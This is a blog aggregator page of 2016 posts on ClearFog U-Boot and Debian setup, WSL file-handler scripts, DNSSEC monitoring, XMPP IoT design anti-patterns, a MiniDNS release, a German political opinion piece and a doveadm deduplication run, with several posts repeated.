As the board does not come with any loader on eMMC and booting directly from M.2 requires removing some resistors from the board, the easiest way is using UART for booting. The vendor wiki has some shell script wrapping an included C fragment to feed U-Boot to the device but all that is really needed is U-Boot's kwboot utility. For some reason the SPL didn't properly detect UART booting on my device (wrong magic number) but patching the if (in arch-mvebu's spl.c) and always assume UART boot is an easy way around.

The plan then was to boot a Debian armhf rootfs with a defconfig kernel from USB stick. and install U-Boot and the rootfs to eMMC from within that system. Unfortunately U-Boot seems to be unable to talk to the USB3 port so no kernel loading from there. One could probably make UART loading work but switching between screen for serial console and xmodem seemed somewhat fragile and I never got it working. However ethernet can be made to work, though you need to set eth1addr to eth3addr (or just the right one of these) in U-Boot, saveenv and reboot. After that TFTP works (but is somewhat slow).

eMMC

There's one last step required to allow U-Boot and Linux to access the eMMC. eMMC is wired to the same PINs as the SD card would be. However the SD card has an additional indicator pin showing whether a card is present. You might be lucky inserting a dummy card into the slot or go the clean route and remove the pin specification from the device tree.

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -306,7 +307,6 @@

                        sdhci@d8000 {
                                bus-width = <4>;
-                               cd-gpios = <&gpio0 20 GPIO_ACTIVE_LOW>;
                                no-1-8-v;
                                pinctrl-0 = <&clearfog_sdhci_pins
                                             &clearfog_sdhci_cd_pins>;

Next Up is flashing the U-Boot to eMMC. This seems to work with the vendor U-Boot but proves to be tricky with mainline. The fun part boils down to the fact that the boot firmware reads the first block from eMMC, but the second from SD card. If you write the mainline U-Boot, which was written and tested for SD card, to eMMC the SPL will try to load the main U-Boot starting from it's second sector from flash -- obviously resulting in garbage. This one took me several tries to figure out and made me read most of the SPL code for the device. The fix however is trivial (apart from the question on how to support all different variants from one codebase, which I'll leave to the U-Boot developers):

--- a/include/configs/clearfog.h
+++ b/include/configs/clearfog.h
@@ -143,8 +143,7 @@
 #define CONFIG_SPL_LIBDISK_SUPPORT
 #define CONFIG_SYS_MMC_U_BOOT_OFFS             (160 << 10)
 #define CONFIG_SYS_U_BOOT_OFFS                 CONFIG_SYS_MMC_U_BOOT_OFFS
-#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        ((CONFIG_SYS_U_BOOT_OFFS / 512)\
-                                                + 1)
+#define CONFIG_SYS_MMCSD_RAW_MODE_U_BOOT_SECTOR        (CONFIG_SYS_U_BOOT_OFFS / 512)
 #define CONFIG_SYS_U_BOOT_MAX_SIZE_SECTORS     ((512 << 10) / 512) /* 512KiB */
 #ifdef CONFIG_SPL_BUILD
 #define CONFIG_FIXED_SDHCI_ALIGNED_BUFFER      0x00180000      /* in SDRAM */

Linux

Now we have a System booting from eMMC with mainline U-Boot (which is a most welcome speedup compared to the UART and TFTP combination from the beginning). Getting to fine-tune linux on the device -- we want to install the armmp Debian kernel and have it work. As all the drivers are build as modules for that kernel this also means initrd support. Funnily U-Boots bootz allows booting a plain vmlinux kernel but I couldn't get it to boot a plain initrd. Passing a uImage initrd and a normal kernel however works pretty well. Back when I first tried there were some modules missing and ethernet didn't work with the PHY driver built as a module. In the meantime the PHY problem was fixed in the Debian kernel and almost all modules already added. Ben then only added the USB3 module on my suggestion and as a result, unstable's armhf armmp kernel should work perfectly well on the device (you still need to patch the device tree similar to the patch above). Still missing is an updated flash-kernel to automatically generate the initrd uImage which is work in progress but got stalled until I fixed the U-Boot on eMMC problem and everything should be fine -- maybe get debian u-boot builds for that board.

Pro versus Base

The main difference so far between the Pro and the Base version of the ClearFog is the switch chip which is included on the Pro. The Base instead "just" has two gigabit ethernet ports and a SFP. Both, linux' and U-Boot's device tree are intended for the Pro version which makes on of the ethernet ports unusable (it tries to find the switch behind the ethernet port which isn't there). To get both ports working (or the one you settled on earlier) there's a second patch to the device tree (my version might be sub-optimal but works), U-Boot -- the linux-kernel version is a trivial adaption:

--- a/arch/arm/dts/armada-388-clearfog.dts
+++ b/arch/arm/dts/armada-388-clearfog.dts
@@ -89,13 +89,10 @@
                internal-regs {
                        ethernet@30000 {
                                mac-address = [00 50 43 02 02 02];
+                               managed = "in-band-status";
+                               phy = <&phy1>;
                                phy-mode = "sgmii";
                                status = "okay";
-
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
                        };

                        ethernet@34000 {
@@ -227,6 +224,10 @@
                                pinctrl-0 = <&mdio_pins>;
                                pinctrl-names = "default";

+                               phy1: ethernet-phy@1 { /* Marvell 88E1512 */
+                                    reg = <1>;
+                               };
+
                                phy_dedicated: ethernet-phy@0 {
                                        /*
                                         * Annoyingly, the marvell phy driver
@@ -386,62 +386,6 @@
                tx-fault-gpio = <&expander0 13 GPIO_ACTIVE_HIGH>;
        };

-       dsa@0 {
-               compatible = "marvell,dsa";
-               dsa,ethernet = <&eth1>;
-               dsa,mii-bus = <&mdio>;
-               pinctrl-0 = <&clearfog_dsa0_clk_pins &clearfog_dsa0_pins>;
-               pinctrl-names = "default";
-               #address-cells = <2>;
-               #size-cells = <0>;
-
-               switch@0 {
-                       #address-cells = <1>;
-                       #size-cells = <0>;
-                       reg = <4 0>;
-
-                       port@0 {
-                               reg = <0>;
-                               label = "lan1";
-                       };
-
-                       port@1 {
-                               reg = <1>;
-                               label = "lan2";
-                       };
-
-                       port@2 {
-                               reg = <2>;
-                               label = "lan3";
-                       };
-
-                       port@3 {
-                               reg = <3>;
-                               label = "lan4";
-                       };
-
-                       port@4 {
-                               reg = <4>;
-                               label = "lan5";
-                       };
-
-                       port@5 {
-                               reg = <5>;
-                               label = "cpu";
-                       };
-
-                       port@6 {
-                               /* 88E1512 external phy */
-                               reg = <6>;
-                               label = "lan6";
-                               fixed-link {
-                                       speed = <1000>;
-                                       full-duplex;
-                               };
-                       };
-               };
-       };
-
        gpio-keys {
                compatible = "gpio-keys";
                pinctrl-0 = <&rear_button_pins>;

Conclusion

Apart from the mess with eMMC this seems to be a pretty nice device. It's now happily running with a M.2 SSD providing enough storage for now and still has a mSATA/mPCIe plug left for future journeys. It seems to be drawing around 5.5 Watts with SSD and one Ethernet connected while mostly idle and can feed around 500 Mb/s from disk over an encrypted ethernet connection which is, I guess, not too bad. My plans now include helping to finish flash-kernel support, creating a nice case and probably get it deployed. I might bring it to FOSDEM first though.

Working on it was really quite some fun (apart from the frustrating parts finding the one-block-offset ..) and people were really helpful. Big thanks here to Debian's arm folks, Ben Hutchings the kernel maintainer and U-Boot upstream (especially Tom Rini and Stefan Roese)

August 30, 2016

Maximilian HenryDateien mit Linux-Anwendungen unter Windows 10 öffnen

Windows 10 bietet seit Anfang August eine Linux Umgebung, welche in der Lage ist, viele übliche Linux-Anwendungen auszuführen. Während es von Haus aus keine Unterstützung für GUI-Anwendungen gibt, dauerte es nicht lange, bis Leute herausfanden, dass dies mit Hilfe des X-Servers XMing in der Windows-Umgebung kein Problem ist. Doch wie kann man nun diese Anwendungen direkt als Filehandler starten?
2 kleine Skripte, und schon können wir zum Beispiel den PDF-Betrachter Katarakt unter Windows 10 nutzen:
Skript 1 plazieren wir als katarakt.cmd irgendwo in unserem Windows

pushd && bash.exe -c "~/bin/winrun katarakt '"%1"'"  

Skript 2 ist ein bash-skript und gehört in die Linux-Umgebung, wenn es nicht unter ~/bin/winrun liegen soll, muss der Pfad in Skript 1 angepasst werden.

#!/bin/bash

winpath="$2"  
prog="$1"  
driveletter=$(echo "$winpath" | head -c1 | tr '[:upper:]' '[:lower:]')  
localpath=$(echo "$winpath" | cut -f2- -d"\\" | sed 's#\\#\/#g')  
fullpath="/mnt/$driveletter/$localpath"  
DISPLAY=:0 "$prog" "$fullpath"  

Das 2. Skript dient nun dazu, den absoluten Windows-Pfad, welcher übergeben wurde, in einen in der Linux-Umgebung gültigen zu verwandeln und dann die Anwendung zu starten. Nicht vergessen, vorher den XMing zu starten und das 2. Skript ausführbar zu machen und ihr könnt eure Lieblingsanwendung, die es nicht für Windows gibt, quasi-nativ verwenden.

Maximilian HenryDateien mit Linux-Anwendungen unter Windows 10 öffnen

Windows 10 bietet seit Anfang August eine Linux Umgebung, welche in der Lage ist, viele übliche Linux-Anwendungen auszuführen. Während es von Haus aus keine Unterstützung für GUI-Anwendungen gibt, dauerte es nicht lange, bis Leute herausfanden, dass dies mit Hilfe des X-Servers XMing in der Windows-Umgebung kein Problem ist. Doch wie kann man nun diese Anwendungen direkt als Filehandler starten?
2 kleine Skripte, und schon können wir zum Beispiel den PDF-Betrachter Katarakt unter Windows 10 nutzen:
Skript 1 plazieren wir als katarakt.cmd irgendwo in unserem Windows

pushd && bash.exe -c "~/bin/winrun katarakt '"%1"'"  

Skript 2 ist ein bash-skript und gehört in die Linux-Umgebung, wenn es nicht unter ~/bin/winrun liegen soll, muss der Pfad in Skript 1 angepasst werden.

#!/bin/bash

winpath="$2"  
prog="$1"  
driveletter=$(echo "$winpath" | head -c1 | tr '[:upper:]' '[:lower:]')  
localpath=$(echo "$winpath" | cut -f2- -d"\\" | sed 's#\\#\/#g')  
fullpath="/mnt/$driveletter/$localpath"  
DISPLAY=:0 "$prog" "$fullpath"  

Das 2. Skript dient nun dazu, den absoluten Windows-Pfad, welcher übergeben wurde, in einen in der Linux-Umgebung gültigen zu verwandeln und dann die Anwendung zu starten. Nicht vergessen, vorher den XMing zu starten und das 2. Skript ausführbar zu machen und ihr könnt eure Lieblingsanwendung, die es nicht für Windows gibt, quasi-nativ verwenden.

Maximilian HenryDateien mit Linux-Anwendungen unter Windows 10 öffnen

Windows 10 bietet seit Anfang August eine Linux Umgebung, welche in der Lage ist, viele übliche Linux-Anwendungen auszuführen. Während es von Haus aus keine Unterstützung für GUI-Anwendungen gibt, dauerte es nicht lange, bis Leute herausfanden, dass dies mit Hilfe des X-Servers XMing in der Windows-Umgebung kein Problem ist. Doch wie kann man nun diese Anwendungen direkt als Filehandler starten?
2 kleine Skripte, und schon können wir zum Beispiel den PDF-Betrachter Katarakt unter Windows 10 nutzen:
Skript 1 plazieren wir als katarakt.cmd irgendwo in unserem Windows

pushd && bash.exe -c "~/bin/winrun katarakt '"%1"'"

Skript 2 ist ein bash-skript und gehört in die Linux-Umgebung, wenn es nicht unter ~/bin/winrun liegen soll, muss der Pfad in Skript 1 angepasst werden.

#!/bin/bash

winpath="$2"
prog="$1"
driveletter=$(echo "$winpath" | head -c1 | tr '[:upper:]' '[:lower:]')
localpath=$(echo "$winpath" | cut -f2- -d"\\" | sed 's#\\#\/#g')
fullpath="/mnt/$driveletter/$localpath"
DISPLAY=:0 "$prog" "$fullpath"

Das 2. Skript dient nun dazu, den absoluten Windows-Pfad, welcher übergeben wurde, in einen in der Linux-Umgebung gültigen zu verwandeln und dann die Anwendung zu starten. Nicht vergessen, vorher den XMing zu starten und das 2. Skript ausführbar zu machen und ihr könnt eure Lieblingsanwendung, die es nicht für Windows gibt, quasi-nativ verwenden.

Christoph EggerDANE and DNSSEC Monitoring

At this year's FrOSCon I repeted my presentation on DNSSEC. In the audience, there was the suggestion of a lack of proper monitoring plugins for a DANE and DNSSEC infrastructure that was easily available. As I already had some personal tools around and some spare time to burn I've just started a repository with some useful tools. It's available on my website and has mirrors on Gitlab and Github. I intent to keep this repository up-to-date with my personal requirements (which also means adding a xmpp check soon) and am happy to take any contributions (either by mail or as "pull requests" on one of the two mirrors). It currently has smtp (both ssmtp and starttls) and https support as well as support for checking valid DNSSEC configuration of a zone.

While working on it it turned out some things can be complicated. My language of choice was python3 (if only because the ssl library has improved since 2.7 a lot), however ldns and unbound in Debian lack python3 support in their bindings. This seems fixable as the source in Debian is buildable and useable with python3 so it just needs packaging adjustments. Funnily the ldns module, which is only needed for check_dnssec, in debian is currently buggy for python2 and python3 and ldns' python3 support is somewhat lacking so I spent several hours hunting SWIG problems.

August 11, 2016

Christoph EggerLooking for a replacement Homeserver

Almost exactly six years ago I bought one of these Fuloong 6064 mini PCs. The machine has been working great ever since both collecting my mail and acting as an IMAP server as well as providing public services -- it's also keyserver.siccegge.de. However jessie is supposed to be the last Debian release supporting the hardware and the system's rather slow and lacks memory. This is especially noticeable with IMAP spam filter training and mail indexing. Therefore I'm looking for some nice replacement -- preferably non-x86 again (no technical reasons). My requirements are pretty simple:

  • Works with vanilla stretch (and stretch kernel)
  • Still works with Debian stable six years from now
  • Faster (single-core performance, 2-4 cores would be nice as well), currently it's a 900MHz super-scalar, out-of-order MIPS64 CPU
  • Consumes less power
  • SATA port
  • Preferably fanless
  • Maximum same price range, around 200 EUR including case and shipping

Now I'd consider one of these ARM boards and get it a nice case but they seem all to either fail in terms of SATA or not being faster at all (and one needs to go for outdated hardware to stand a chance of mainline kernel support). If anyone knows something nice and non-x86 I'll happily take suggestions.

July 04, 2016

Florian SchmausXMPP IoT Anti-Patterns

Posted on July 4, 2016
Tags: xmpp

The recent issue (2016-14 page 78 ff.) of the German computer magazine c’t has an interesting article about security issues in alarm systems. I was a bit surprised that in 2016 we still have systems online which are vulnerable because of a default password or passwords like ‘1234’. The c’t had articles about similar issues before. Obviously the industry has much to learn about securing the Internet of Things (IoT).

What caught my attention was an XMPP message that is, according to the article, used by the alarm system to confirm the user PIN with a central server in order to disarm the system. The article describes a security flaw where sending the same message without the PIN would erroneously disarm the system. The message stanza looks like this

<message
  id="n0000-000000"
  to="<unique-id-of-alarm-system-central>@climax-home-portal"
  type="chat"
  from="security_ admin@climax-home-portal/Smack">
    <body> 4150795OqiESNX2RCHC/ :;MODA:1,0, 1234 </body>
</message>

This demonstrates nicely a few XMPP-for-IoT Anti-Patterns I’d like to discuss.

The Anti-Patterns

  1. Using XMPP without properly secured TLS. What made it easy to have a direct look at the used XMPP stanzas, was that the alarm system used an unencrypted connection. This revealed the PIN position and made it possible to inject spoofed stanzas.

  2. Abusing <body/> to carry machine data. RFC 6121 § 5.2.3 defines the <body/> content as “human-readable XML character data”. I guess this contributed a bit to the security flaw, where a message stanza without the PIN would disarm the system, because parsing that particular body content format doesn’t seem easy. But even if my guess is wrong, abusing the <body/> element in such a way will eventually snap back to you once your IoT environment grows.

  3. Allowing the client to determine the resource. Depending on the services policy on resource conflicts, this could lead to reconnect loops until the old connection using the same resource finally timeouts. Hardcoded resource strings also make it easy for an attacker to guess a resource. If the client does not protect itself against unsolicited stanzas send, e.g. by using XEP-0016 Privacy Lists, then this could at least allow an attacker to drain a mobile clients battery or allow him to access unprotected IQ interfaces.

  4. Using ‘chat’ type messages. Often done because “we don’t know better”. OK, I’m just guessing that ‘chat’ was used because of this reason. But I see it often that people just use ‘chat’ for no obvious reason, ‘normal’ would be the better choice in this case. And since it is the default type, you can omit it, saving a few bytes over the wire.

The Correct Patterns

  1. Use proper TLS for god’s sake. But “enabling” TLS is not enough. There is an intolerably large amount of implementations using TLS with an “accept all certificates” policy in order to be able to connect to hosts with self-signed certificates. That is a very bad approach in every aspect. Instead, use Certificate Pinning. With Java Pinning and Smack, TLS Certificate Pinning is as easy as:

    SSLContext sc = Java7Pinning
      .forPin("SHA256:e3b1812d945da1a2a2c5fa28029d2fe34c7c...");
    XMPPTCPConnectionConfiguration conf = XMPPTCPConnectionConfiguration
      .builder()
      .setUsernameAndPassword("user", "pass")
      .setXmppDomain("example.org")
      .setCustomSSLContext(sc)
      .build();
  2. Use a custom extension element for your data. After all, extensibility is one of the strong arguments for XMPP. All XMPP libraries provide APIs to handle (create, process, serialize, deserialize) custom extension elements. The message above could for example look like this if they had used a custom <disarm xmlns='namespace:of:vendor'/> extension element:

    <message
      id="n0000-000000"
      to="<unique-id-of-alarm-system-central>@climax-home-portal"
      from="security_ admin@climax-home-portal/ba7971ca-a887-404b-8c48">
    <disarm xmlns='namespace:of:vendor'>
      <data>4150795OqiESNX2RCHC/</data>
      <mode foo='true' bare='false'>MODA</mode>
      <pin>1234</pin>
    </disarm>
    </message>
  3. Let the server assign a resource. You usually want to do this independently of your use-case for XMPP (e.g. also when using XMPP for Instant Messaging). Since this is not IoT specific, but true for general XMPP usage, the XMPP Wiki also mentions this as guideline for IM developers also providing a rationale.

  4. Use a fitting message type. XMPP provides a variety of message types, each with different semantics. Sadly those types are named after their common use-case and not after their semantic, so people assume that they are just useful for that. For example ‘chat’ for chatting purposes and ‘headline’ for headlines. But in the end, you should choose the message type depending on your use-case. Primarily the message type affects the routing rules of the message stanzas. There is no reason you would want to use ‘chat’ in IoT. Use ‘normal’ and omit the ‘type’ attribute completely, since ‘normal’ is the default. Messages of type ‘headline’ also provide some nice properties for the IoT use-case (fan-out to all available resources of the recipient).

Remark

Note that this list of patterns is not comprehensive. Also some points are not exclusive to XMPP-for-IoT, but apply to XMPP usage in general.

Get in touch with the XMPP Community

I really encourage vendors to discuss their ideas, designs and approaches build upon XMPP with the XMPP community. I have encountered a lot of IoT specifications and implementations using XMPP which had, not only minor, but also serious design flaws. Fixing the ones which are already in production is an enormous effort. Thus I can only strongly recommend to get a peer review for your design early.

The XMPP community is very friendly, especially when it comes to supporting open standards and potentially subsequent open-source implementations. Usually you will find people willing to help you design and review your XMPP usage. Just join the xsf@muc.xmpp.org chat or post your XMPP related questions to the standards@mail.jabber.org mailing list.

April 22, 2016

Florian SchmausAlpha release of MiniDNS DNSSEC

Posted on April 22, 2016
Tags: dns, xmpp

Introduction

Rene just tagged MiniDNS 0.2.0-alpha3 and pushed it to Maven Central. This release includes experimental support for DNSSEC.

About MiniDNS

MiniDNS is an open-source and highly portable DNS resolver written in Java for Android and Java SE runtimes. MiniDNS aims to be lightweight and modular, which makes it different from similar projects like dnsjava.

It is triple licensed. Users can choose the license terms they like from: Apache License 2.0, LGPL 2.1 and WTFPL.

The fastest way to get familiar with MiniDNS is by playing around with its built-in Read-Evaluate-Print-Loop (REPL). Pleaes note that proper support for CNAME / DNAME is not yet implemented.

DNSSEC

The new DNSSEC (DNS Security Extensions) support was added through a Google Summer of Code (GSOC) project in 2015 under the umbrella of the XMPP Standards Foundation (XSF). We would like to thank our skilled student Marvin and Google for making this possible.

DNSSEC has multiple benefits, it not only allows the verification of DNS responses (data origin authentication), but also helps making protocols like HTTP, SMTP, IMAP and XMPP more secure by using DANE.

Multiple open source projects already expressed interested in MiniDNS’s DNSSEC feature: Also Smack, the XMPP client library for Android and Java SE I maintain, will provide experimental support for DANE using MiniDNS soon. Daniel, the author of the popular Android XMPP client Conversations, already a MiniDNS user, also expressed interest in adding support for DANE. And last but not least, Vincent and Dominik of OpenKeychain fame are looking forward to adding support for the OPENPGPKEY record as defined in draft-ietf-dane-openpgpkey.

Other projects are of course welcome as well. But please contact me before using the DNSSEC features of MiniDNS: Again, this is highly experimental code. I will keep you updated about the current state of MiniDNS in this very blog.

Help Wanted

The MiniDNS code has not yet received an extensive security review. As an understaffed open source project without any funding, we don’t have the necessary resources to pay for such a review.

But even if we had the funds, we first need to find someone capable of actually performing such a review. Maybe you know someone or how to help?

Feel free to contact me if you want to help.

Future Release Highlight: Support for the Kitchen Sink RR

With DNSSEC support in the ‘master’ branch, the only killer feature missing is support for the Kitchen Sink Resource Record (KS RR). The KS RR allows “to put complex, bulky, and/or obscurely structured data into the Domain Name System (DNS)”. Combined with DNSSEC this allows signing arbitrary data of any size, allowing for a broad range of possible use cases. Unlike most other pending features in open source projects, we are able to give an exact date when this feature will arrive: 2017-04-01. Stay tuned.

March 19, 2016

Maximilian HenryEine neue Vision

Es ist kein Geheimnis, dass Deutschland nach Schröder und Merkel ohne eine Volkspartei mit einer wirkliche Vision oder Ideologie da steht, während viele das gar nicht so schlecht finden mögen, ist es doch diese Ideenlosigkeit, welche auch einer der Gründe für den Aufstieg der AfD ist. Dort wo Merkel all jene, die wirklich eine konservative Politik wollten verloren hat, schöpft die AfD, abseits des braunen Sumpfes, aus dem die NPD nie herauskam und in welchen die Medien und die etablierten Parteien sie gerne einsortieren würden. Doch die alten Ideologien sind nicht nur an Schröder und Merkel gestorben, ihnen fehlt es auch heute an dem Bezug zur gesellschaftlichen Realität.
Wie soll denn heute eine sozialdemokratische Politik aussehen, ganz ohne die Arbeiter, welche einst das Kernklientel bildeten und deren Jobs fast vollständig verschwunden sind.
Ich glaube, dass uns durchaus eine Partei, welche für eine soziale und faire Behandlung der Unterschicht und unteren Mittelschicht, aller Abhängig-Beschäftigen und Arbeitslosen braucht, aber die SPD erfüllt diese Rolle nicht und kann sie, ohne eine neue Idee auch nicht mehr erfüllen, selbst wenn sie wollte und die Linke ist einfach zu intellektuell und außerdem gerade in Westdeutschland noch immer nicht wählbar.
Die Partei, die wir bräuchten, müsste ganz oben Arbeit psychologisch entwerten. Es gibt keinen Grund, warum in unserer Welt arbeit, gerade für die schlechter gestellten, identitätsstiftend sein sollte, nutzlose neoliberale Begriffe wie Leistungsträger gehören entwertet! Gleichzeitig, muss die eine Botschaft verbreitet werden, die wirklich weiten Teilen der Gesellschaft eine Beschäftigung verschaffen kann, wir müssen die Regelarbeitszeit schrittweise in die Richtung 30-32h senken und eine Obergrenze der Wochenarbeitszeit einführen!
Die Automatisierung weiter Geschäftsfelder kann nur so ein Gewinn für die Gesellschaft sein und man muss sich klar machen, dass wer heute 60h arbeitet, einer zweiten Person ihre Beschäftigung klaut und keine neoliberale Bewunderung verdient. Wie eine Entsprechung dazu im konservativen Spektrum aussehen könnte, um der AfD auch dort etwas anderes, als Ideenlosigkeit entgegen zu setzen, fällt mir schwer zu beurteilen, da dies zu weit von meiner eigenen politischen Identität entfernt ist.

Maximilian HenryEine neue Vision

alt
Es ist kein Geheimnis, dass Deutschland nach Schröder und Merkel ohne eine Volkspartei mit einer wirkliche Vision oder Ideologie da steht, während viele das gar nicht so schlecht finden mögen, ist es doch diese Ideenlosigkeit, welche auch einer der Gründe für den Aufstieg der AfD ist. Dort wo Merkel all jene, die wirklich eine konservative Politik wollten verloren hat, schöpft die AfD, abseits des braunen Sumpfes, aus dem die NPD nie herauskam und in welchen die Medien und die etablierten Parteien sie gerne einsortieren würden. Doch die alten Ideologien sind nicht nur an Schröder und Merkel gestorben, ihnen fehlt es auch heute an dem Bezug zur gesellschaftlichen Realität.
Wie soll denn heute eine sozialdemokratische Politik aussehen, ganz ohne die Arbeiter, welche einst das Kernklientel bildeten und deren Jobs fast vollständig verschwunden sind.
Ich glaube, dass uns durchaus eine Partei, welche für eine soziale und faire Behandlung der Unterschicht und unteren Mittelschicht, aller Abhängig-Beschäftigen und Arbeitslosen braucht, aber die SPD erfüllt diese Rolle nicht und kann sie, ohne eine neue Idee auch nicht mehr erfüllen, selbst wenn sie wollte und die Linke ist einfach zu intellektuell und außerdem gerade in Westdeutschland noch immer nicht wählbar.
Die Partei, die wir bräuchten, müsste ganz oben Arbeit psychologisch entwerten. Es gibt keinen Grund, warum in unserer Welt arbeit, gerade für die schlechter gestellten, identitätsstiftend sein sollte, nutzlose neoliberale Begriffe wie Leistungsträger gehören entwertet! Gleichzeitig, muss die eine Botschaft verbreitet werden, die wirklich weiten Teilen der Gesellschaft eine Beschäftigung verschaffen kann, wir müssen die Regelarbeitszeit schrittweise in die Richtung 30-32h senken und eine Obergrenze der Wochenarbeitszeit einführen!
Die Automatisierung weiter Geschäftsfelder kann nur so ein Gewinn für die Gesellschaft sein und man muss sich klar machen, dass wer heute 60h arbeitet, einer zweiten Person ihre Beschäftigung klaut und keine neoliberale Bewunderung verdient. Wie eine Entsprechung dazu im konservativen Spektrum aussehen könnte, um der AfD auch dort etwas anderes, als Ideenlosigkeit entgegen zu setzen, fällt mir schwer zu beurteilen, da dies zu weit von meiner eigenen politischen Identität entfernt ist.

Maximilian HenryEine neue Vision

Es ist kein Geheimnis, dass Deutschland nach Schröder und Merkel ohne eine Volkspartei mit einer wirkliche Vision oder Ideologie da steht, während viele das gar nicht so schlecht finden mögen, ist es doch diese Ideenlosigkeit, welche auch einer der Gründe für den Aufstieg der AfD ist. Dort wo Merkel all jene, die wirklich eine konservative Politik wollten verloren hat, schöpft die AfD, abseits des braunen Sumpfes, aus dem die NPD nie herauskam und in welchen die Medien und die etablierten Parteien sie gerne einsortieren würden. Doch die alten Ideologien sind nicht nur an Schröder und Merkel gestorben, ihnen fehlt es auch heute an dem Bezug zur gesellschaftlichen Realität.
Wie soll denn heute eine sozialdemokratische Politik aussehen, ganz ohne die Arbeiter, welche einst das Kernklientel bildeten und deren Jobs fast vollständig verschwunden sind.
Ich glaube, dass uns durchaus eine Partei, welche für eine soziale und faire Behandlung der Unterschicht und unteren Mittelschicht, aller Abhängig-Beschäftigen und Arbeitslosen braucht, aber die SPD erfüllt diese Rolle nicht und kann sie, ohne eine neue Idee auch nicht mehr erfüllen, selbst wenn sie wollte und die Linke ist einfach zu intellektuell und außerdem gerade in Westdeutschland noch immer nicht wählbar.
Die Partei, die wir bräuchten, müsste ganz oben Arbeit psychologisch entwerten. Es gibt keinen Grund, warum in unserer Welt arbeit, gerade für die schlechter gestellten, identitätsstiftend sein sollte, nutzlose neoliberale Begriffe wie Leistungsträger gehören entwertet! Gleichzeitig, muss die eine Botschaft verbreitet werden, die wirklich weiten Teilen der Gesellschaft eine Beschäftigung verschaffen kann, wir müssen die Regelarbeitszeit schrittweise in die Richtung 30-32h senken und eine Obergrenze der Wochenarbeitszeit einführen!
Die Automatisierung weiter Geschäftsfelder kann nur so ein Gewinn für die Gesellschaft sein und man muss sich klar machen, dass wer heute 60h arbeitet, einer zweiten Person ihre Beschäftigung klaut und keine neoliberale Bewunderung verdient. Wie eine Entsprechung dazu im konservativen Spektrum aussehen könnte, um der AfD auch dort etwas anderes, als Ideenlosigkeit entgegen zu setzen, fällt mir schwer zu beurteilen, da dies zu weit von meiner eigenen politischen Identität entfernt ist.

February 24, 2016

Christoph Eggerdoveadm deduplicate

Without further words:

% for i in $(seq 1 90) ; do doveadm mailbox status messages debian.buildd.archive.2011.05 | column -t ;  doveadm deduplicate mailbox debian.buildd.archive.2011.05 ; done
debian.buildd.archive.2011.05  messages=8094
debian.buildd.archive.2011.05  messages=7939
debian.buildd.archive.2011.05  messages=7816
debian.buildd.archive.2011.05  messages=7698
debian.buildd.archive.2011.05  messages=7610
debian.buildd.archive.2011.05  messages=7529
debian.buildd.archive.2011.05  messages=7455
debian.buildd.archive.2011.05  messages=7375
debian.buildd.archive.2011.05  messages=7294
debian.buildd.archive.2011.05  messages=7215
debian.buildd.archive.2011.05  messages=7136
debian.buildd.archive.2011.05  messages=7032
debian.buildd.archive.2011.05  messages=6941
debian.buildd.archive.2011.05  messages=6839
debian.buildd.archive.2011.05  messages=6721
debian.buildd.archive.2011.05  messages=6631
debian.buildd.archive.2011.05  messages=6553
debian.buildd.archive.2011.05  messages=6476
debian.buildd.archive.2011.05  messages=6388
debian.buildd.archive.2011.05  messages=6301
debian.buildd.archive.2011.05  messages=6211
debian.buildd.archive.2011.05  messages=6140
debian.buildd.archive.2011.05  messages=6056
debian.buildd.archive.2011.05  messages=6007
debian.buildd.archive.2011.05  messages=5955
debian.buildd.archive.2011.05  messages=5887
debian.buildd.archive.2011.05  messages=5826
debian.buildd.archive.2011.05  messages=5752
debian.buildd.archive.2011.05  messages=5706
debian.buildd.archive.2011.05  messages=5657
debian.buildd.archive.2011.05  messages=5612
debian.buildd.archive.2011.05  messages=5570
debian.buildd.archive.2011.05  messages=5523
debian.buildd.archive.2011.05  messages=5474
debian.buildd.archive.2011.05  messages=5422
debian.buildd.archive.2011.05  messages=5382
debian.buildd.archive.2011.05  messages=5343
debian.buildd.archive.2011.05  messages=5308
debian.buildd.archive.2011.05  messages=5256
debian.buildd.archive.2011.05  messages=5221
debian.buildd.archive.2011.05  messages=5168
debian.buildd.archive.2011.05  messages=5133
debian.buildd.archive.2011.05  messages=5092
debian.buildd.archive.2011.05  messages=5058
debian.buildd.archive.2011.05  messages=5030
debian.buildd.archive.2011.05  messages=4994
debian.buildd.archive.2011.05  messages=4964
debian.buildd.archive.2011.05  messages=4935
debian.buildd.archive.2011.05  messages=4900
debian.buildd.archive.2011.05  messages=4868
debian.buildd.archive.2011.05  messages=4838
debian.buildd.archive.2011.05  messages=4811
debian.buildd.archive.2011.05  messages=4778
debian.buildd.archive.2011.05  messages=4748
debian.buildd.archive.2011.05  messages=4722
debian.buildd.archive.2011.05  messages=4686
debian.buildd.archive.2011.05  messages=4661
debian.buildd.archive.2011.05  messages=4637
debian.buildd.archive.2011.05  messages=4613
debian.buildd.archive.2011.05  messages=4593
debian.buildd.archive.2011.05  messages=4570
debian.buildd.archive.2011.05  messages=4554
debian.buildd.archive.2011.05  messages=4536
debian.buildd.archive.2011.05  messages=4520
debian.buildd.archive.2011.05  messages=4500
debian.buildd.archive.2011.05  messages=4481
debian.buildd.archive.2011.05  messages=4466
debian.buildd.archive.2011.05  messages=4445
debian.buildd.archive.2011.05  messages=4430
debian.buildd.archive.2011.05  messages=4417
debian.buildd.archive.2011.05  messages=4405
debian.buildd.archive.2011.05  messages=4390
debian.buildd.archive.2011.05  messages=4376
debian.buildd.archive.2011.05  messages=4366
debian.buildd.archive.2011.05  messages=4360
debian.buildd.archive.2011.05  messages=4350
debian.buildd.archive.2011.05  messages=4336
debian.buildd.archive.2011.05  messages=4329
debian.buildd.archive.2011.05  messages=4320
debian.buildd.archive.2011.05  messages=4315
debian.buildd.archive.2011.05  messages=4312
debian.buildd.archive.2011.05  messages=4311
debian.buildd.archive.2011.05  messages=4309
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308
debian.buildd.archive.2011.05  messages=4308

February 10, 2016

Maximilian HenryPodcast Empfehlungen 2016

In diesem Blog gab es vor langer Zeit schon Podcast Empfehlungen und ich möchte diese Tradition nun hier wieder aufleben lassen. Dieses mal ist die Empfehlungsliste sehr englisch-lastig.

